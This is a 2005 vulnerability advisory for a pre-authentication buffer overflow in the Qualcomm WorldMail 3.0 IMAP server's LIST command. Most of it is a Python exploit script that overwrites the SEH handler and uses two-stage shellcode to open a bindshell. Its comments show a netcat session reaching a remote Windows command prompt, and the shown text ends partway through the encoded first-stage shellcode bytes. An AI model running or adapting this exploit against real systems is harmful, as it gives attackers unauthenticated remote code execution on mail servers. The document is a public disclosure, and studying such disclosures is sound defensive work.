Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit)
21 Dec. 2005
Summary
Qualcomm WorldMail is "an email and messaging server designed for use in small to large enterprises that supports IMAP, POP3, SMTP, and web mail features". A buffer overflow vulnerability in Qualcomm WorldMail's handling of incoming LIST commands allows remote attackers to cause the program to execute arbitrary code.
Credit:
The information has been provided by mati.
Vulnerable Systems:
* Qualcomm WorldMail version 3.0 (6.1.19.0)
Exploit:
#!/usr/bin/python
##########################################
#
# PRE AUTHENTICATION Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow.
#
# Discovered by Tim Shelton - security-advisories@acs-inc.com
#
# Coded by mati@see-security.com
#
# Details:
# * SEH gets overwritten at 970 bytes in the LIST command.
# * No space for shellcode, so 1st stage shellcode is used to
# jump back 768 bytes into the bindshell (2nd stage) shellcode.
#
# Thanks:
# * My wife - for putting up with my obesssions
# FOR EDUCATION PURPOSES ONLY!
##########################################
# root@muts:/tmp# ./test.py 192.168.1.162
#
# Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 Overflow.
#
# Discovered by Tim Shelton - security-advisories@acs-inc.com
# Coded by mati@see-security.com
#
# [+] Connecting
# [+] * OK WorldMail IMAP4 Server 6.1.19.0 ready
# [+] Look Maa - No authentication!
# [+] Sending evil buffer...
# [+] Done
#
# [+] Connect to port 4444 on victim IP - Muhahaha!
#
# root@muts:/tmp# nc -vn 192.168.1.162 4444
# (UNKNOWN) [192.168.1.162] 4444 (krb524) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>
#######################################
import sys
import struct
import socket
from time import sleep
def banner():
print "\nEudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0Overflow.\n"
print "Discovered by Tim Shelton - security-advisories@acs-inc.com"
print "Coded by mati@see-security.com\n"
if len(sys.argv)!=3:
banner()
print "Usage: eudora-imap-LIST.py <ip> <port>\n"
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Using Msf::Encoder::PexFnstenvMov with final size of 42 bytes
# First Stage Shellcode
sc3 ="\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
sc3 +="\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
sc3 +="\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b"